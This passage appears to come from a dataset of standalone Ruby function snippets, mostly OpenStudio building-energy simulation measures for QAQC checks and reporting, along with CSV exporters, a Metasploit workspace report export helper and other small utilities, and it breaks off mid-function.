peak_heat_cool_mo_check\n\n # EUI check\n check_elems << eui_check\n\n # Register Values for all of the checks\n check_elems.each do |check|\n check_uid = OpenStudio.removeBraces(OpenStudio.createUUID)\n # loop through attributes (name,category,description,then optionally one or more flag attributes)\n check.valueAsAttributeVector.each_with_index do |value, index|\n if index == 0 # name\n runner.registerValue(\"qaqc_name_#{check_uid}\", value.valueAsString)\n elsif index == 1 # category\n runner.registerValue(\"qaqc_cat_#{check_uid}\", value.valueAsString)\n elsif index == 2 # description\n runner.registerValue(\"qaqc_desc_#{check_uid}\", value.valueAsString)\n else # flag\n flag_uid = OpenStudio.removeBraces(OpenStudio.createUUID)\n runner.registerValue(\"qaqc_flag_#{check_uid}_#{flag_uid}\", value.valueAsString)\n end\n end\n end\n\n # end checks\n report_elems << OpenStudio::Attribute.new('checks', check_elems)\n\n # create an extra layer of report. the first level gets thrown away.\n top_level_elems = OpenStudio::AttributeVector.new\n top_level_elems << OpenStudio::Attribute.new('report', report_elems)\n\n # create the report\n result = OpenStudio::Attribute.new('summary_report', top_level_elems)\n result.saveToXml(OpenStudio::Path.new('report.xml'))\n\n # closing the sql file\n @sql.close\n\n # reporting final condition\n runner.registerFinalCondition('Finished generating report.xml.')\n\n return true\n end", "def report_sim_output(runner, name, vals, os_units, desired_units, percent_of_val=1.0)\n total_val = 0.0\n vals.each do |val|\n next if val.empty?\n total_val += val.get * percent_of_val\n end\n if os_units.nil? or desired_units.nil? or os_units == desired_units\n valInUnits = total_val\n else\n valInUnits = OpenStudio::convert(total_val, os_units, desired_units).get\n end\n runner.registerValue(name,valInUnits)\n runner.registerInfo(\"Registering #{valInUnits.round(2)} for #{name}.\")\n end", "def print_to_file(dateTime, mem, cpuu, dsu)\n\t#########TO DO########\n\t#this function will take the variables, dateTime, mem, cpuu, & dsu, and put it into a string variable\n\t#if required, format the string.\n\n\t#then before doing the write to file, check if file exists\n\t#if file exists, go ahead and write to the file\n\t#if file doesn't exist, write to new file.\n\n\t#file names: file name will be determined by the month, day , hour. \"07-13_14\"\"month-day_hour\"\nend", "def raw_export\n return unless has_permission :can_do_billing\n case request.method\n when :get\n @page_title = 'Generate Raw Data Report'\n @from = Time.now.beginning_of_month\n @to = @from.next_month\n when :post\n from = Date.new(params[:from][:year].to_i,params[:from][:month].to_i)\n to = Date.new(params[:to][:year].to_i,params[:to][:month].to_i)\n @records = BillingCharge.find(:all,:conditions=>['billing_charges.created_at > ? and billing_charges.created_at < ?',from,to],\n :order=>['billing_charges.id'],:include=>[:pilot,:instructor,:aircraft])\n report = StringIO.new\n CSV::Writer.generate(report, ',') do |csv|\n csv << %w(Timestamp Pilot Amount Total Type Note Aircraft Aircraft_Rate Instructor Instructor_Rate Hobbs_Start Hobbs_End Tach Ground_Instruction)\n @records.each do |r|\n csv << [r.created_at, r.pilot.full_name_with_id, r.charge_amount, r.running_total, \n r.type.to_s == 'FlightRecord' ? 'flight/ground instruction' : r.type, r.notes, r.aircraft_id.nil? ? nil : r.aircraft.identifier, \n r.aircraft_rate, r.instructor_id.nil? ? nil : r.instructor.full_name_with_id,\n r.instructor_rate, r.hobbs_start, r.hobbs_end, r.tach_end, r.ground_instruction_time]\n end\n end\n\n report.rewind\n send_data(report.read,\n :type => 'text/csv; charset=iso-8859-1; header=present',\n :filename => 'report.csv')\n end\nend", "def run(runner, user_arguments)\n super(runner, user_arguments)\n\n # make the runner a class variable\n @runner = runner\n\n # if true errors on QAQC sections will show full backtrace. Use for diagnostics\n @error_backtrace = true\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments, user_arguments)\n return false\n end\n\n run_qaqc = runner.getBoolArgumentValue('run_qaqc', user_arguments)\n unless run_qaqc\n return true\n end\n\n runner.registerInitialCondition('Starting QAQC report generation')\n\n # get sql, model, and web assets\n setup = OsLib_Reporting.setup(runner)\n unless setup\n return false\n end\n @model = setup[:model]\n # workspace = setup[:workspace]\n @sql = setup[:sqlFile]\n web_asset_path = setup[:web_asset_path]\n\n # vector to store the results and checks\n time_a = Time.new\n report_elems = OpenStudio::AttributeVector.new\n report_elems << create_results(skip_weekends = false,\n skip_holidays = false,\n start_mo = 'January',\n start_day = 1,\n start_hr = 1,\n end_mo = 'December',\n end_day = 31,\n end_hr = 24)\n time_b = Time.new\n delta_time = time_b.to_f - time_a.to_f\n runner.registerInfo(\"Gathering results: elapsed time #{delta_time.round(1)} seconds.\")\n\n # utility name to to used by some qaqc checks\n @utility_name = 'LADWP'\n\n # get building type, different standards path if multifamily\n building_type = ''\n if @model.getBuilding.standardsBuildingType.is_initialized\n building_type = @model.getBuilding.standardsBuildingType.get\n end\n\n # get building template features\n runner.registerInfo(\"Getting building features.\")\n hvac_system_type = get_bldg_feature_string(@model, 'hvac_system_type')\n target_envelope_standard = get_bldg_feature_string(@model, 'envelope_template')\n if target_envelope_standard.nil?\n runner.registerInfo(\"'set_envelope_template measure' did not have argument 'template' set; using DEER 2003\")\n target_envelope_standard = 'DEER 2003'\n end\n\n # using lighting as the internal loads standard for comparison\n # @todo separate internal loads into lighting, equipment, and occupancy\n target_internal_loads_standard = get_bldg_feature_string(@model, 'interior_lighting_template')\n if target_internal_loads_standard.nil?\n runner.registerInfo(\"'set_interior_lighting_template measure' did not have argument 'template' set; using DEER 2003\")\n target_internal_loads_standard = 'DEER 2003'\n end\n\n target_hvac_standard = get_bldg_feature_string(@model, 'hvac_template')\n if target_hvac_standard.nil?\n runner.registerInfo(\"'set_hvac_template measure' did not have argument 'template' set; using DEER 2003\")\n target_hvac_standard = 'DEER 2003'\n end\n\n # create an attribute vector to hold the checks\n check_elems = OpenStudio::AttributeVector.new\n\n # call individual checks and add to vector\n\n # envelope checks\n runner.registerInfo(\"Comparing model envelope to defaults from #{target_envelope_standard}.\")\n check_elems << check_envelope_conductance('Baseline', target_envelope_standard)\n\n # internal load checks\n runner.registerInfo(\"Comparing model internal loads to defaults from #{target_internal_loads_standard}.\")\n check_elems << check_internal_loads('Baseline', target_internal_loads_standard)\n check_elems << check_internal_loads_schedules('Baseline', target_internal_loads_standard)\n check_elems << check_plenum_loads('General', target_internal_loads_standard)\n check_elems << check_occ_zones_conditioned('General', target_internal_loads_standard)\n check_elems << check_sch_coord('General', target_internal_loads_standard)\n\n # hvac system checks\n runner.registerInfo(\"Comparing model hvac to defaults from #{target_hvac_standard}.\")\n check_elems << check_mech_sys_capacity('General', target_hvac_standard)\n check_elems << check_plant_cap('General', target_hvac_standard)\n check_elems << check_fan_power('General', target_hvac_standard)\n check_elems << check_pump_power('General', target_hvac_standard)\n check_elems << check_mech_sys_efficiency('Baseline', target_hvac_standard)\n check_elems << check_mech_sys_part_load_eff('General', target_hvac_standard)\n check_elems << check_supply_air_and_thermostat_temp_difference('Baseline', target_hvac_standard)\n check_elems << check_air_loop_temps('General')\n check_elems << check_plant_temps('General')\n check_elems << check_part_loads('General')\n check_elems << check_simultaneous_heating_and_cooling('General')\n\n # unmet hours by system type\n case hvac_system_type\n when 'No HVAC (Unconditioned)'\n runner.registerInfo(\"HVAC system type is '#{hvac_system_type}. Unmet hours expected.\")\n check_elems << check_unmet_hours('General', target_hvac_standard, expect_clg_unmet_hrs: true, expect_htg_unmet_hrs: true)\n when 'Baseboard district hot water heat',\n 'Baseboard electric heat',\n 'Baseboard hot water heat',\n 'Unit heaters',\n 'Heat pump heat with no cooling',\n 'Residential forced air',\n 'Forced air furnace',\n 'No Cooling with Electric Heat',\n 'No Cooling with Gas Furnace'\n runner.registerInfo(\"HVAC system type is '#{hvac_system_type}. Checking for only heating unmet hours.\")\n check_elems << check_unmet_hours('General', target_hvac_standard, expect_clg_unmet_hrs: true, expect_htg_unmet_hrs: false)\n when 'PTAC with no heat',\n 'PSZ-AC with no heat',\n 'Fan coil district chilled water with no heat',\n 'Fan coil chiller with no heat',\n 'Window AC with no heat',\n 'Direct evap coolers',\n 'Residential AC with no heat'\n runner.registerInfo(\"HVAC system type is '#{hvac_system_type}. Checking for only cooling unmet hours.\")\n check_elems << check_unmet_hours('General', target_hvac_standard, expect_clg_unmet_hrs: false, expect_htg_unmet_hrs: true)\n else\n runner.registerInfo(\"HVAC system type is '#{hvac_system_type}. Checking for heating and cooling unmet hours.\")\n check_elems << check_unmet_hours('General', target_hvac_standard, expect_clg_unmet_hrs: false, expect_htg_unmet_hrs: false)\n end\n\n # diagnostic scripts to implement\n # check_elems << check_geometry()\n # check_elems << check_coil_controllers()\n # check_elems << check_zone_outdoor_air()\n\n # diagnostic scripts unused\n # check_elems << check_la_weather_files()\n # check_elems << check_calibration()\n\n # add checks to report_elems\n report_elems << OpenStudio::Attribute.new('checks', check_elems)\n\n # create an extra layer of report. the first level gets thrown away.\n top_level_elems = OpenStudio::AttributeVector.new\n top_level_elems << OpenStudio::Attribute.new('report', report_elems)\n\n # create the report\n result = OpenStudio::Attribute.new('summary_report', top_level_elems)\n result.saveToXml(OpenStudio::Path.new('report.xml'))\n\n # closing the sql file\n @sql.close\n\n # reporting final condition\n runner.registerFinalCondition('Finished generating report.xml.')\n\n # populate sections using attributes\n sections = OsLib_Reporting.sections_from_check_attributes(check_elems, runner)\n\n # generate html output\n OsLib_Reporting.gen_html(\"#{File.dirname(__FILE__)}report.html.erb\", web_asset_path, sections, name)\n\n return true\n end", "def report_ts_output(runner, timeseries, name, vals, os_units, desired_units)\n timeseries[name] = []\n timeseries['Time'].each_with_index do |ts, i|\n timeseries[name] << UnitConversions.convert(vals[i], os_units, desired_units)\n end\n runner.registerInfo(\"Exporting #{name}.\")\n end", "def setup\n\t\n # create an instance of the measure\n @measure = VentilationQAQC.new\n \n #create an instance of the runner\n @runner = OpenStudio::Ruleset::OSRunner.new\t\n\t\n # get arguments \n @arguments = @measure.arguments()\n\n # make argument map\n make_argument_map\n\t\n # Make an empty model\n @model = OpenStudio::Model::Model.new\n\t@runner.setLastOpenStudioModel(@model)\n\t\n\t# Create a fake sql file - our measure will crash if @runner has no sql file set.\n\t# We don't get data from this file because we get data from our patched SqlFile class instead (see above)\n\tsqlFile = OpenStudio::SqlFile.new(OpenStudio::Path.new(sqlPath))\n\t@runner.setLastEnergyPlusSqlFilePath(OpenStudio::Path.new(sqlPath))\n\t\n\t$serieses[\"Zone Mechanical Ventilation Mass Flow Rate|ZONE1\"] = OpenStudio::TimeSeries.new(OpenStudio::Date.new, OpenStudio::Time.new(1.0), (0..364).to_a.to_vector, \"m^3/s\")\n end", "def print_products\n$report_file.puts \"\n\n | | | |\n _ __ _ __ ___ __| |_ _ ___| |_ ___\n| '_ \\\\| '__/ _ \\\\ / _` | | | |/ __| __/ __|\n| |_) | | | (_) | (_| | |_| | (__| |_\\\\__ \\\\\n| .__/|_| \\\\___/ \\\\__,_|\\\\__,_|\\\\___|\\\\__|___/\n| |\n|_|\n\t \t\t\t\t\t\t\t\t\t\"\nend", "def setup\n\n if File.exist?(reportPath())\n FileUtils.rm(reportPath())\n end\n\n assert(File.exist?(modelPath()))\n\n if !File.exist?(runDir())\n FileUtils.mkdir_p(runDir())\n end\n assert(File.exist?(runDir()))\n\n if !File.exist?(sqlPath())\n puts \"Running EnergyPlus\"\n\n co = OpenStudio::Runmanager::ConfigOptions.new(true)\n co.findTools(false, true, false, true)\n\n vt = OpenStudio::OSVersion::VersionTranslator.new\n model = vt.loadModel(modelPath())\n assert(model.is_initialized)\n model = model.get\n\n # make sure output requests are in pre-run model, this will happen automatically in PAT\n var = OpenStudio::Model::OutputVariable.new('Site Outdoor Air Drybulb Temperature', model)\n var.setReportingFrequency('Monthly')\n\n var = OpenStudio::Model::OutputVariable.new('Zone Air Temperature', model)\n var.setReportingFrequency('Hourly')\n\n var = OpenStudio::Model::OutputVariable.new('Zone Air Relative Humidity', model)\n var.setReportingFrequency('Hourly')\n\n model.save(OpenStudio::Path.new(runDir() + '/in.osm'), true)\n\n wf = OpenStudio::Runmanager::Workflow.new(\"modeltoidf->energypluspreprocess->energyplus\")\n wf.add(co.getTools())\n job = wf.create(OpenStudio::Path.new(runDir()), OpenStudio::Path.new(runDir() + '/in.osm'), OpenStudio::Path.new(epwPath()))\n\n rm = OpenStudio::Runmanager::RunManager.new\n rm.enqueue(job, true)\n rm.waitForFinished\n end\n end", "def export\n @scenario.export\n send_file \"#{@scenario.bin_file_name}.new\", type: 'application/octet-stream'\n end", "def run(workspace, runner, user_arguments)\n super(workspace, runner, user_arguments)\n\n #use the built-in error checking \n if not runner.validateUserArguments(arguments(workspace), user_arguments)\n return false\n end\n \n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end\n \n require 'json'\n \n # Get the last openstudio model\n model = runner.lastOpenStudioModel\n if model.empty?\n runner.registerError(\"Could not load last OpenStudio model, cannot apply measure.\")\n return false\n end\n model = model.get\n \n zones_applied = []\n \n idf_string = \"\"\n \n # Create global PMV schedules\n idf_string << \"\n ThermostatSetpoint:ThermalComfort:Fanger:DualSetpoint,\n Dual Comfort Setpoint, !- Name\n Heating PMV Setpoints, !- Fanger Thermal Comfort Heating Schedule Name\n Cooling PMV Setpoints; !- Fanger Thermal Comfort Cooling Schedule Name\n \n Schedule:Compact,\n Heating PMV Setpoints, !- Name\n Any Number, !- Schedule Type Limits Name\n Through: 12/31, !- Field 1\n For: AllDays, !- Field 2\n Until: 24:00,-0.5; !- Field 7\n\n Schedule:Compact,\n Cooling PMV Setpoints, !- Name\n Any Number, !- Schedule Type Limits Name\n Through: 12/31, !- Field 1\n For: AllDays, !- Field 2\n Until: 24:00,0.5; !- Field 7 \n \n Schedule:Compact,\n Zone Comfort Control Type Sched, !- Name\n Comfort Control Type, !- Schedule Type Limits Name\n Through: 12/31, !- Field 1\n For: Weekdays, !- Field 2\n Until: 8:00,0, !- Field 3\n Until: 18:00,4, !- Field 3\n Until: 24:00,0; !- Field 3\" \n \n # Add a thermal comfort thermostat to all zones\n model.getThermalZones.each do |zone|\n # Skip zones with no people\n next if zone.numberOfPeople == 0.0\n zone_name = zone.name.get\n zones_applied << zone_name\n runner.registerInfo(\"Applied occupant feedback thermostat control to #{zone_name}.\")\n \n idf_string << \" \n ZoneControl:Thermostat:ThermalComfort,\n #{zone_name} Comfort Control, !- Name\n #{zone_name}, !- Zone or ZoneList Name\n PeopleAverage, !- Averaging Method\n , !- Specific People Name\n 12.8, !- Minimum Dry-Bulb Temperature Setpoint {C}\n 32.2, !- Maximum Dry-Bulb Temperature Setpoint {C}\n Zone Comfort Control Type Sched, !- Thermal Comfort Control Type Schedule Name\n ThermostatSetpoint:ThermalComfort:Fanger:DualSetpoint, !- Thermal Comfort Control 1 Object Type\n Dual Comfort Setpoint; !- Thermal Comfort Control 1 Name\" \n end\n\n # Debugging variables\n # idf_string << \"\n # Output:Variable,*,Zone Mean Air Temperature,hourly; !- Zone Average [C]\n # Output:Variable,*,Zone Thermostat Heating Setpoint Temperature,hourly; !- Zone Average [C]\n # Output:Variable,*,Zone Thermostat Cooling Setpoint Temperature,hourly; !- Zone Average [C]\n # Output:Variable,*,Zone Thermal Comfort Control Type,hourly; !- Zone Average []\n # Output:Variable,*,Zone Thermal Comfort Control Fanger Low Setpoint PMV,hourly; !- Zone Average []\n # Output:Variable,*,Zone Thermal Comfort Control Fanger High Setpoint PMV,hourly; !- Zone Average []\n # Output:Variable,*,Zone Thermal Comfort Fanger Model PMV,hourly; !- Zone Average []\n # Output:Variable,*,Zone Thermal Comfort Fanger Model PPD,hourly; !- Zone Average [%]\"\n \n # Enable thermal comfort metrics for the existing people objects.\n # Not done in prototypes because of increased simulation time.\n workspace.getObjectsByType(\"People\".to_IddObjectType).each do |people|\n people.setString(19,\"Fanger\")\n end\n \n idf_file = OpenStudio::IdfFile::load(idf_string, 'EnergyPlus'.to_IddFileType).get\n runner.registerInfo(\"Adding thermal comfort thermostats to workspace\")\n workspace.addObjects(idf_file.objects)\n \n if zones_applied.size == 0\n runner.registerAsNotApplicable(\"Not Applicable. Model contained no zones that have people in them, occupant feedback cannot be given wtihout occupants.\")\n return true\n else\n runner.registerFinalCondition(\"Applied occupant feedback thermostat control to #{zones_applied.size} zones.\") \n end\n \n return true\n\n end", "def print_sales_report\n$report_file.puts \"\n ##### ######\n # # ## # ###### #### # # ###### ##### #### ##### #####\n # # # # # # # # # # # # # # # #\n ##### # # # ##### #### ###### ##### # # # # # # #\n # ###### # # # # # # ##### # # ##### #\n # # # # # # # # # # # # # # # # #\n ##### # # ###### ###### #### # # ###### # #### # # #\n********************************************************************************\n\"\nend", "def export\n raise NotImplementedError\n end", "def print_out_line\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd\n #beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end", "def generateReport\n filePath = \"#{@reportFolder}/report.csv\"\n file = File.open(filePath, 'w')\n file.puts ['Screen', 'Description', 'Automation Message', 'Status'].join(',')\n @report.each do |result|\n file.puts result.join(',')\n end\n file.close\n end", "def generate\n\t\t dir = \"./experiments/\" + @arguments.first\n\t\t\tDir.mkdir(dir)\n\t\t\tFile.open(dir + \"/\" + @arguments.first + \".rb\", \"w\") do |req_file|\n\t\t\t req_file.puts \"# ## #{as_human_name @arguments.first} ##\"\n\t\t\t req_file.puts \"# \"+@options.description.split(\"\\n\").join(\"\\n# \")\n\t\t\t req_file.puts\n\t\t\t req_file.puts\n\t\t\t req_file.puts \"# The first contious block of comment will be included in your report.\"\n\t\t\t req_file.puts \"# This includes the reference implementation.\"\n\t\t\t req_file.puts \"# Override any desired files in this directory.\"\n\t\t\t Dir[\"./app/**/*.{rb,o,dll,so,bundle}\"].each do |f|\n\t\t\t next if File.basename(f) == 'extconfig.rb'\n\t\t\t p = File.expand_path(f).split(\"/\") - File.expand_path(\".\").split(\"/\")\n\t\t\t req_file.puts \"require \\\"#{p.join(\"/\").gsub(/\\.(rb|o|dll|so|bundle)$/, \"\")}\\\"\"\n\t\t\t end\n\t\t\t req_file.puts \"\\nclass #{as_class_name @arguments.first} < MyExperiment\\n\\t\\nend\"\n\t\t\tend\n\t\t\tFile.open(dir + \"/config.yaml\", \"w\") do |f|\n\t\t\t f << \"---\\nexperiment:\\n development:\\n compute:\\n\"\n end\n end", "def save\n system *['djvused', '-s','-e', @command, @file]\n end", "def print_file_sales_report_ascii\n $report_file.puts sales_report_ascii\nend", "def create_report\n report_path = \"/tmp/metasploit_#{@workspace_name}.xml\"\n\n # Create the report using the db_export command\n _send_command(\"db_export #{report_path}\\n\")\n\n # We've sent the command, so let's sit back and wait for th\n # output to hit the disk.\n begin\n xml_string = \"\"\n status = Timeout::timeout(240) {\n # We don't know when the file is going to show up, so \n # wait for it...\n until File.exists? report_path do\n sleep 1\n end\n\n # Read and clean up the file when it exists...\n until xml_string.include? \"</MetasploitV4>\" do\n sleep 5\n xml_string = File.read(report_path)\n end\n \n File.delete(report_path)\n }\n rescue Timeout::Error\n xml_string = \"<MetasploitV4></MetasploitV4>\"\n end\n\n xml_string\n end", "def flow_measurements(input, output)\n \n # Creates a hash that groups all the running operations to the input_collection_id it corresponds to\n grouped_by_collection = operations.running.group_by { |op| op.input(input).collection.id }\n \n log_info grouped_by_collection\n \n # takes output container/collection and iterates through the incoming collections\n operations.output_collections[output].each do |outputPlate|\n \n # Removes the first object and takes the first index of that object - input_item_id\n inputPlateID = grouped_by_collection.shift.first\n \n # Transfering culture from input 96 well plate to clear 96 well U-bottom plate for measurements \n transfer_cults(grouped_by_collection, outputPlate, inputPlateID)\n \n # Instruct on how to apply settings in workspace for fluorescence measurements\n measuring_fluorescence(outputPlate, inputPlateID)\n \n # Instruct on saving data and associating the data with collection\n exporting_FCS(outputPlate, input, output)\n \n end \n end", "def output_usage(out)\n out.puts <<-EOF\nanalyze_sequence_to_snps.rb -c PATH_TO_CONFIG.YML -o PATH_TO_BASE_OUTPUT_DIR SAMPLE_ID [SAMPLE_ID]\n\nOptions\n-h, --help Display this help message\n-v, --version Display the version information\n-V, --verbose Increased verbosity of output\n-d, --delay INT Delay a random between 0 & INT before submitting job. Default 30 seonds\n-c, --config FILE Specify the configuration yaml file of options for analysis\n-o, --output DIR Specify the output directory prefix, all results will be saved under this directory\n-l, --local Run the analyze script locally, not with initial SGE submit\n-q, --qsub OPTS Additional options given to each qsub call\n EOF\nend", "def generate_bulk_export\n # Delete the bulk_export directory if it exists.\n FileUtils.rm_rf(\"bulk_export\")\n\n get_all_insurance_plans\n get_all_location_resources\n p \"===============================================================\"\n p \"Creating the Bulk export folder output ...\"\n generate_payer_bulk_data\n generate_formulary_bulk_data\nend", "def execute(options={})\n build_headers\n write_data(@output)\n end", "def report_sim_output(runner, name, total_val, os_units, desired_units, percent_of_val = 1.0)\n total_val *= percent_of_val\n if os_units.nil? || desired_units.nil? || (os_units == desired_units)\n valInUnits = total_val\n else\n valInUnits = UnitConversions.convert(total_val, os_units, desired_units)\n end\n runner.registerValue(name, valInUnits)\n runner.registerInfo(\"Registering #{valInUnits.round(2)} for #{name}.\")\n end", "def run(runner, user_arguments)\n super(runner, user_arguments)\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(), user_arguments)\n return false\n end\n\n # get the last model and sql file\n \n model = runner.lastOpenStudioModel\n if model.empty?\n runner.registerError(\"Cannot find last model.\")\n return false\n end\n model = model.get\n \n sqlFile = runner.lastEnergyPlusSqlFile\n if sqlFile.empty?\n runner.registerError(\"Cannot find last sql file.\")\n return false\n end\n sqlFile = sqlFile.get\n \n # perform queries on the sql file\n # look at eplustbl.htm to see how queries in tabulardatawithstrings correspond\n \n query = \"SELECT Value FROM tabulardatawithstrings WHERE ReportName='InputVerificationandResultsSummary' AND ReportForString='Entire Facility' AND TableName='General' AND RowName='Program Version and Build' AND ColumnName='Value'\" \n \n s = sqlFile.execAndReturnFirstString(query)\n if s.empty?\n s = \"Unknown\"\n runner.registerWarning(\"Cannot read E+ version\")\n else\n s = s.get\n runner.registerInfo(\"E+ version = #{s}\")\n end\n\n query = \"SELECT Value FROM tabulardatawithstrings WHERE ReportName='InputVerificationandResultsSummary' AND ReportForString='Entire Facility' AND TableName='Window-Wall Ratio' AND RowName='Gross Wall Area' AND ColumnName='Total' AND Units='m2'\" \n \n d = sqlFile.execAndReturnFirstDouble(query)\n if s.empty?\n d = 0\n runner.registerWarning(\"Cannot read Gross Wall Area\")\n else\n d = d.get\n runner.registerInfo(\"Gross Wall Area = #{d}\")\n end \n \n # if we want this report could write out a csv, html, or any other file here\n runner.registerInfo(\"Writing CSV report 'report.csv'\")\n File.open(\"report.csv\", 'w') do |file|\n file << \"#{s}, #{d}\"\n end\n \n # if we write out OpenStudio attributes then these will be imported into PAT database\n # these can then be accessed using ProjectMeasures\n runner.registerInfo(\"Writing OpenStudio attributes\")\n attributes = OpenStudio::AttributeVector.new\n attributes << OpenStudio::Attribute.new(\"GrossWallArea\", d)\n attributes << OpenStudio::Attribute.new(\"EnergyPlusVersion\", s)\n \n result = OpenStudio::Attribute.new(\"report\", attributes)\n \n result.saveToXml(OpenStudio::Path.new(\"report.xml\"))\n\n #closing the sql file\n sqlFile.close()\n \n #reporting final condition\n runner.registerFinalCondition(\"Goodbye.\")\n \n return true\n \n end", "def export_report\n @report.export_report\n end", "def export_report\n @report.export_report\n end", "def run\n QM.run('lyap_r',\n '-m', dimension, \n '-d', delay,\n '-c', 2,\n '-o', path,\n series.path\n )\n end", "def modeler_description\n return \"This measure will demonstrate how an OpenStudio measure calling EMS functions can be used to override specified thermostat control logic and set alternate modes of operation. This EMS measure sets a specific (user defined) indoor VRF terminal unit to operate at a specific (user-defined) part load ratio, constrained by operate minimum and maximum outdoor temperature limits of the paired condenser unit. The main input objects that implement this example are the variable refrigerant flow actuators that control the VRF system and specific terminal unit. Note that the terminal unit PLR can be controlled without controlling the mode of the VRF condenser, however, the specific terminal unit will operate in whatever mode the existing operation control scheme chooses. This example program simply “sets” the operating mode and PLR, other more complex control algorithms can be developed by the user as needed\"\n end", "def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # make an argument to toggle QAQC\n run_qaqc = OpenStudio::Measure::OSArgument.makeBoolArgument('run_qaqc', true)\n run_qaqc.setDisplayName('Run QAQC?:')\n run_qaqc.setDescription('If set to true, will run this QAQC measure, adding in many substantial output variables.')\n run_qaqc.setDefaultValue(false)\n args << run_qaqc\n\n return args\n end", "def create_export\n raise CommandNotImplemented\n end", "def export(path)\n end", "def registered_bytes(pp)\n read_bytes \"-distort Perspective '#{pps pp}'\"\n end", "def show\n #setup_reporting_fields\n rqrcode\n end", "def pre_export\n end", "def modeler_description\r\n return \"This measure imports 8760 chilled water and hot water demand profiles for use in the LoadProfilePlant. The source is a csv file with seven columns titles: timestep, chw_supply_temp_f, chw_flow_frac, chw_load_w, hw_supply_temp_f, hw_flow_frac, hw_load_w.\"\r\n end", "def buildCaptureStatsCmd()\n cmd = \"ruby \" + File.dirname(__FILE__) + \"/CaptureStats.rb \" + @markedBam + \n \" \" + @chipDesign\n puts \"Command to calculate capture stats \" + cmd\n return cmd\n end", "def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n result = OpenStudio::IdfObjectVector.new\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments, user_arguments)\n return result\n end\n\n result << OpenStudio::IdfObject.load('Output:Meter:MeterFileOnly,Electricity:Facility,Timestep;').get\n result << OpenStudio::IdfObject.load('Output:Meter:MeterFileOnly,ElectricityProduced:Facility,Timestep;').get\n result << OpenStudio::IdfObject.load('Output:Meter:MeterFileOnly,Gas:Facility,Timestep;').get\n\n timeseries = ['District Cooling Chilled Water Rate', 'District Cooling Mass Flow Rate',\n 'District Cooling Inlet Temperature', 'District Cooling Outlet Temperature',\n 'District Heating Hot Water Rate', 'District Heating Mass Flow Rate',\n 'District Heating Inlet Temperature', 'District Heating Outlet Temperature']\n\n timeseries.each do |ts|\n result << OpenStudio::IdfObject.load(\"Output:Variable,*,#{ts},Timestep;\").get\n end\n\n return result\n end", "def run_export\n fail \"No conference found!\" if @conference.nil?\n\n @asset_paths = []\n @base_directory = File.join(@destination, @conference.acronym)\n @base_url = get_base_url\n @original_schedule_public = @conference.schedule_public\n\n @session = ActionDispatch::Integration::Session.new(Frab::Application)\n @session.host = Settings.host\n @session.https! if Settings['protocol'] == \"https\"\n ActiveRecord::Base.transaction do\n unlock_schedule unless @original_schedule_public\n\n setup_directories\n download_pages\n copy_stripped_assets\n create_index_page\n\n lock_schedule unless @original_schedule_public\n end\n end", "def modeler_description\n return 'The measure performs the following functions: (1) IDs all chillers, (2) Locates their performance curves and outputs the data, (3) Adds reporting variables for chiller-related data.'\n end", "def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n result = OpenStudio::IdfObjectVector.new\n\n # Request the day type to use in the peak demand window checks.\n result << OpenStudio::IdfObject.load('Output:Variable,*,Site Day Type Index,timestep;').get\n\n return result\n end", "def export_and_notify(options = {})\n\n\t @question = Question.find(self.question_id)\n\t type = options[:type]\n\t email = options[:email]\n\t @photocracy = options[:photocracy]\n\n\t # delayed job doesn't like passing the user as parameter\n\t # so we do this manually\n\t current_user = User.find_by_email(email)\n\n\t r = Redis.new\n\n\t redis_key = \"export_filename_notification_#{self.question_id}_#{type}_#{Time.now.to_i}_#{rand(10)}\"\n\n\t @question.post(:export, :type => type, :response_type => 'redis', :redis_key => redis_key)\n\n\t thekey, source_filename = r.blpop(redis_key, (60*60*3).to_s) #Timeout after 3 hours\n\n\t r.del(redis_key) # client is responsible for deleting key\n\n\n\t dest_filename= File.join(File.expand_path(Rails.root), \"public\", \"system\", \"exports\", \n\t\t\t\t self.question_id.to_s, File.basename(source_filename)) \n\n\t FileUtils::mkdir_p(File.dirname(dest_filename)) \n \n\t \n\t #Caching these to prevent repeated lookups for the same session, Hackish, but should be fine for background job\n\t @sessions = {}\n\t @url_alias = {}\n\n\t num_slugs = self.slugs.size\n\t FasterCSV.open(dest_filename, \"w\") do |csv|\n\t\t FasterCSV.foreach(source_filename, {:headers => :first_row, :return_headers => true}) do |row|\n\n\t\t\t if row.header_row?\n\t\t\t\t case type\n\t\t\t\t when \"votes\", \"non_votes\"\n\t\t\t\t\t #We need this to look up SessionInfos, but the user doesn't need to see it\n\t\t\t\t\t row.delete('Session Identifier')\n\n\t\t\t\t\t row << ['Hashed IP Address', 'Hashed IP Address']\n\t\t\t\t\t row << ['URL Alias', 'URL Alias']\n\t\t\t\t\t if current_user.admin?\n\t\t\t\t\t row << ['Geolocation Info', 'Geolocation Info']\n\t\t\t\t\t end\n\t\t\t\t end\n\t\t\t csv << row\n\t\t else\n\t\t\t case type\n\t\t\t when \"votes\", \"non_votes\"\n\n\t\t\t sid = row['Session Identifier']\n\t\t\t row.delete('Session Identifier')\n\n\t\t\t user_session = @sessions[sid]\n\t\t\t if user_session.nil?\n\t\t\t user_session = SessionInfo.find_by_session_id(sid)\n\t\t\t\t @sessions[sid] = user_session\n\t\t\t end\n\n\t\t\t unless user_session.nil? #edge case, all appearances and votes after april 8 should have session info\n\t\t\t\t # Some marketplaces can be accessed via more than one url\n\t\t\t\t if num_slugs > 1\n\t\t\t\t\t url_alias = @url_alias[sid]\n\n\t\t\t\t\t if url_alias.nil?\n\t\t\t\t\t\t max = 0\n\t\t\t\t\t\t self.slugs.each do 